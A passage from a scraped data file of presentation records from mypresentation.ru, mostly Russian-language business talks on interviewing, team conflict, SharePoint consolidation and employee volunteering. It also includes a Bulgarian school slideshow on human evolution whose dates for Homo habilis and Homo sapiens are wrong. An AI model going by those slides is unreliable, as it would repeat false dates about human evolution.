"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img10.jpg",
"description": "Основные ошибки Понты Умничание и говорение Равнодушие Стресс- собеседование Опоздание Отсутствие фидбека"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img11.jpg",
"description": "Техническое интервью с человеческим лицом, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img12.jpg",
"description": "Последствия Вы тоже когда-то так сидели и не факт, что не будете в ближайшем будущем Чем приятнее вы собеседуете, тем лучше о вас слава на рынке. А рынок маленький Вы можете оказаться на собеседовании у него Когда-то он может стать вашим руководителем или рекомендателем"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img13.jpg",
"description": "Как лучше? Общайтесь с ним как с потенциальным коллегой и заранее приятным человеком. Спрашивайте его из желания узнать что он знает и что-то новое, а не из чувства превосходства. Спросите кандидата, что ему важно С какими людьми ему нравится работать?"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img14.jpg",
"description": "Берите людей, которые обожают то, что они делают! Берите людей, которые обожают то, что они делают! Совпадение по ценностям и умение взаимодействовать важнее, чем знания Сначала выясните мотивацию кандидата, потом продавайте бенефиты компании"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img15.jpg",
"description": "Продавайте компанию в позитиве Продавайте компанию в позитиве Фиксируйте профессиональные достижения кандидата и спросите, кто сможет это подтвердить? Покажите офис, рабочее место Проводите собеседование с юмором и энергией, УГ достаточно в компаниях-конкурентах "
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img16.jpg",
"description": "Комментарии от Сергея Бережного (http://anotherpm.com/) Открытость и честность Elevator speech о том, как крут ваш проект. Необычные вопросы: Сколько писем влезет в почтовый ящик размером с ладу-калину? Слушайте, слушайте и слушайте. Не учите Не называйте ролей"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img17.jpg",
"description": "Кто хорошо проводит интервью? Сильные технические специалисты интересующиеся людьми как классом и увлеченные психологией РМ, TeamLead + архитектор или senior (если менеджеры не глубоко технически подкованы) Senior специалисты которые хотят вырасти в менеджеры и поэтому деликатно ведущие себя на интервью "
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img18.jpg",
"description": "Открытые вопросы! Открытые вопросы! «Как?» «Почему это важно?»"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img19.jpg",
"description": "Расскажите мне о себе что-то, что вам в себе нравится Расскажите мне о себе что-то, что вам в себе нравится С какими людьми вам нравится работать? Какой самый интересный вопрос вам задавали на собеседовании? В какой компании вам понравилось быть на собеседовании и почему? Что для вас важно, с чем вы хотите работать?"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img20.jpg",
"description": "Техническое интервью с человеческим лицом, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img21.jpg",
"description": "Привлечение лучших людей с рынка с помощью интервью Интервью с профессионалом и/или известным на рынке человеком Экспертность и увлеченность собеседующего. Люди идут на людей! Атмосфера интервью – открытость, подробный рассказ, фичи проекта, почему нас прет тут работать? Знакомство с командой, презентация рабочего места Совместные увлечения"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img22.jpg",
"description": "Техническое интервью с человеческим лицом, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img23.jpg",
"description": "Собеседование удалось, если кандидат рассказывает о вас за пивом своим друзьям "
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/7da0f90046e3b9686631644c1e830562/img24.jpg",
"description": "А поговорить?! А поговорить?! E-mail: [email protected] http://ua.linkedin.com/in/viktoriyaprydatko www.hr-maverick.blogspot.com twitter: nikavika skype: vprydatko facebook.com/vika.prydatko pridatko.moikrug.ru Телефон: +38 (067) 732-47-55 +38 (099) 778-98-03"
}
] |
https://mypresentation.ru/presentation/99642 | Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img0.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img1.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img2.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img3.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img4.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img5.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img6.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img7.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img8.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img9.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img10.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img11.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img12.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img13.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img14.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img15.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img16.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img17.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img18.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img19.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/57cab57cdc6bd2b511c62f22face2e5c/img20.jpg",
"description": "Как свести к нулю количество конфликтов между проектной командой и командами поддержки или I believe in love. - презентация, слайд №21"
}
] |
https://mypresentation.ru/presentation/99643 | Александр Швецов 26 Ноября 2011 | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img0.jpg",
"description": "Александр Швецов 26 Ноября 2011"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img1.jpg",
"description": "Александр Швецов О докладчике"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img2.jpg",
"description": "SPM Conference О докладе"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img3.jpg",
"description": "Процессы Что такое процессы?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img4.jpg",
"description": "SPM Conference О докладе"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img5.jpg",
"description": "1999 SWSoft"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img6.jpg",
"description": "2003 SWSoft + Plesk"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img7.jpg",
"description": "2004 SWSoft + Plesk + Parallels"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img8.jpg",
"description": "2008 SWSoft + Plesk + Parallels = Parallels"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img9.jpg",
"description": "2010 Parallels"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img10.jpg",
"description": "2010 Parallels"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img11.jpg",
"description": "Проблема"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img12.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img13.jpg",
"description": "Требования"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img14.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img15.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img16.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img17.jpg",
"description": "Готовые решения А чем пользуются коллеги?"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img18.jpg",
"description": "Готовые решения Что подходит нам?"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img19.jpg",
"description": "Готовые решения Что подходит нам?"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img20.jpg",
"description": "Готовые решения Выбор: SharePoint 2010"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img21.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img22.jpg",
"description": "План консолидации"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img23.jpg",
"description": "План консолидации"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img24.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img25.jpg",
"description": "План консолидации"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img26.jpg",
"description": "План консолидации"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img27.jpg",
"description": "План консолидации"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img28.jpg",
"description": "План консолидации"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img29.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №30"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img30.jpg",
"description": "План консолидации"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img31.jpg",
"description": "План консолидации"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img32.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №33"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img33.jpg",
"description": "Результат"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img34.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №35"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img35.jpg",
"description": "Результат"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img36.jpg",
"description": "Результат"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img37.jpg",
"description": "Результат"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img38.jpg",
"description": "Результат Что мы получили в результате?"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img39.jpg",
"description": "Результат Какие потребовались затраты?"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img40.jpg",
"description": "Александр Швецов 26 Ноября 2011, слайд №41"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img41.jpg",
"description": "Проекция"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/567ba2825ac40be2a3de86d4df43a741/img42.jpg",
"description": "Спасибо! Вопросы: [email protected]"
}
] |
https://mypresentation.ru/presentation/99644 | 6 плохих хороших идей Санкт-Петербург, 2011 | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img0.jpg",
"description": "6 плохих хороших идей Санкт-Петербург, 2011"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img1.jpg",
"description": "…About"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img2.jpg",
"description": "В тот момент идея показалась хорошей…"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img3.jpg",
"description": "А давайте их стравим? Декомпозиция команды и… Идея! 1000 и 1 проблема с соревнованиями И все же? Let’s have the fun :)"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img4.jpg",
"description": "Кто сказал, что бесполезно биться головой о стену? Лисицы и ёжики Идея! А можно скипануть? Наука побеждать… … без побежденных Формула баланса Какие обещания можно нарушать?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img5.jpg",
"description": "Нормальные герои всегда идут в обход! Покушаемся на святое! Нужен ли нам план? Что же плохого в плане? Из пункта A в пункт Б План как bottleneck"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img6.jpg",
"description": "Люди, которые играют в игры Что показывают показатели? Как можно измерять то, чем мы можем управлять? Однако! Индикаторы Процедурная справедливость"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img7.jpg",
"description": "На свободу с чистой совестью? Наказание как… принуждение искупление наслаждение игра Что вместо кнута и пряника? Отношения Благодарность"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img8.jpg",
"description": "Я дерусь, потому что дерусь! И назвал он это «качество», а вот это – «профессионализм»! Что такое ценности? А что вместо? Принципы! Понятные Практичные Проверяемые"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/56fefa3a51e750d613b81d0e0fb413bf/img9.jpg",
"description": "6 плохих хороших идей Санкт-Петербург, 2011, слайд №10"
}
] |
https://mypresentation.ru/presentation/99645 | ХОРАТА ИДВАТ или палеонтологична история на човека. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img0.jpg",
"description": "ХОРАТА ИДВАТ или палеонтологична история на човека. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img1.jpg",
"description": "ХОРАТА ИДВАТ или палеонтологична история на човека"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img2.jpg",
"description": "Автор: М. Илиева Използвани материали: Биология 10кл., Детска енциклопедия – Праисторическият живот"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img3.jpg",
"description": "Когато Чарлз Дарвин публикувал за първи път “Произхода на видовете” през 1859 г., много хора помислили, че той твърди, че хората са произлезли от маймуните, което всъщност Дарвин не искал да каже."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img4.jpg",
"description": "Четири неща различават хората от маймуните: ТЕ ходят изправени ТЕ използват оръдия на труда ТЕ контактуват помежду си посредством езика Te имат различен брой гени"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img5.jpg",
"description": "Доказателства: Вкаменени скелети понякога могат да покажат дали собствениците им са можели да говорят или само да сумтят Формата на костите на краката показва дали са ходели изправени"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img6.jpg",
"description": "Според известните палеонтологични данни еволюцията на човека се разделя на следните етапи: Австралопитек – Прачовек Сръчен човек – Хомо хабилис Изправен човек – Хомо еректус Палеоантроп (неандерталец) Неоантроп (Разумен човек ) – Хомо сапиенс"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img7.jpg",
"description": "Австралопитек – Прачовек Австралопитек означава южна човекоподобна маймуна Най-ранния остатък е открит в Етиопия 1981г., на 4 млн.г. Ходели на два крака Живеели на големи групи Изхранвали се с лов и събирачество Сечива, които използвали:камъни,кости, рога и зъби на животни"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img8.jpg",
"description": "АВСТРАЛОПИТЕК"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img9.jpg",
"description": "Сръчен човек – Хомо хабилис Най-ранния човек Живял в Източна Африка преди 4-6 млн. г. Живеели на групи Изхранвали се с лов и събирачество Изработвали примитивни сечива, което се оказало събитие с ключово значение"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img10.jpg",
"description": "Хомо хабилис"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img11.jpg",
"description": "Изправен човек – Хомо еректус Възникнал преди 1-2 млн.г. в Африка, мигрирал в Азия и Европа Изработвал по-добри оръдия Използвал огъня Живеели на групи Обединявали усилията си при ловуване Общували помежду си със звукови сигнали"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img12.jpg",
"description": "Хомо еректус"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img13.jpg",
"description": "Палеоантроп (неандерталец) Възникнал преди 200-300 хил.г. и населявали Африка, Азия, Европа Изработвали ножове, накрайници на копия, резци Формиране на първобитна обществена организация Използвали огъня за приготвяне на храна, отопление и предпазване от хищници В общуването им възникват наченки на членоразделна реч"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img14.jpg",
"description": "Неандерталец"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img15.jpg",
"description": "Разумен човек –Хомо сапиенс Възникнал е преди 40 хил. г. Започват формиране на обществени отношения Преминават към произвеждащи дейности – земеделие, животновъдство Начало на развитие на духовната култура – открити са пещерни скални рисунки"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img16.jpg",
"description": "Хомо сапиенс"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img17.jpg",
"description": "Изучаването на праисторическия живот ни дава възможност да направим три извода: Хората са еволюирали съвсем наскоро в сравнение с геологическото време Еволюцията се осъществява изключително бавно спрямо нашата представа за време Еволюцията все още продължава"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img18.jpg",
"description": "Сега нови видове растения и животни еволюират, макар и много бавно. Сега нови видове растения и животни еволюират, макар и много бавно. Днес има повече живи видове, отколкото преди. Както знаем, има опасност някои от тях да изчезнат."
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img19.jpg",
"description": "Ако не сме предпазливи, ще причиним катастрофа, голяма колкото двете най-големи масови измирания!"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/111561fec095a70356ba5a199235f48e/img20.jpg",
"description": "БЪДЕТЕ ПРЕДПАЗЛИВИ!!!"
}
] |
https://mypresentation.ru/presentation/99646 | Осмысление проницаемых границ Растущая стратегическая вовлеченность сотрудников на основе навыков и компетенции | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img0.jpg",
"description": "Осмысление проницаемых границ Растущая стратегическая вовлеченность сотрудников на основе навыков и компетенции"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img1.jpg",
"description": "Предложения сотрудникам по участию в волонтерской работе"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img2.jpg",
"description": "Окончание периода неквалифицированного волонтерства Настоящее время - деконструированное понимание понятия «организация»: сотрудники и есть компания Правительства сами по себе не могут решить острые общественные и экологические проблемы Проницаемые границы секторов: совместно создаваемые решения Требуется: вклад «ключевых» навыков сотрудников –> профессиональные навыки для достижения других целей Изменение выражений: временное направление сотрудников для их вовлечения в решение задач местного сообщества (в течение некоторого периода времени или неполного рабочего дня) Интегрированный механизм для эффективного общественного развития"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img3.jpg",
"description": "Пример компании Nokia: начало без квалификации"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img4.jpg",
"description": "Пример компании Nokia: квалифицированная добровольная работа в программе Bridge-IT"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img5.jpg",
"description": "Практический пример Boston Consulting Group Основатель Брус Д. Хендерсон, 1963: “вклад в виде ключевых корпоративных навыков является более эффективным при решении общественных проблем, чем обычная филантропия” Настоящее время: Сеть практической общественной работы «Social Impact Practice Network» Такой же подход к общественным организациям, как и к клиентам – консультанты направляются на работу в них на срок до 7 месяцев Accenture, Deloitte & Touche, Ernst & Young, KPMG, PriceWaterhouseCoopers – все последовали этому примеру"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img6.jpg",
"description": "Примеры: компании TNT и DHL Логистические компании подтверждают свои выдающиеся профессиональные знания: Компания TNT и Всемирная продовольственная программа ООН: проект “Перевозим мир” Компания DHL и Управление ООН по координации гуманитарных вопросов (UNOCHA): проект “Команды для реагирования на катастрофы”"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img7.jpg",
"description": "Интегрирование вклада сотрудников в стратегию КСО Стратегическая организационная цель: Лидерство – также и в волонтерском движении сотрудников Пример наилучшего случая: Компания IBM – вся волонтерская работа проводится на основе ключевых навыков Вклад сотрудников как часть корпоративной ответственности: часть бренд-менеджмента и развития идентичности организации Вовлечение сотрудников, клиентов и деловых партнеров Вклад в виде реальной стоимости / реального результата в сообществах, где работают и живут сотрудники и/или где действует компания Внутри и вне компании: завоевание признательности и преданности"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img8.jpg",
"description": "Новые роли менеджера по вовлечению в работу с сообществом или менеджера по волонтерской работе сотрудников ... Ваши роли: Фасилитатор при выполнении задач – по отношению к сотрудникам Способствование переменам – по отношению к организации: интегрирование подхода с корпоративными ценностями корпоративной культурой бизнес-стратегией"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/bba39f87dff80812dc0c86659a728334/img9.jpg",
"description": "Вовлечение сотрудников: 5-Шагов Процесса активизации"
}
] |
https://mypresentation.ru/presentation/99647 | Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img0.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img1.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img2.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img3.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img4.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img5.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img6.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img7.jpg",
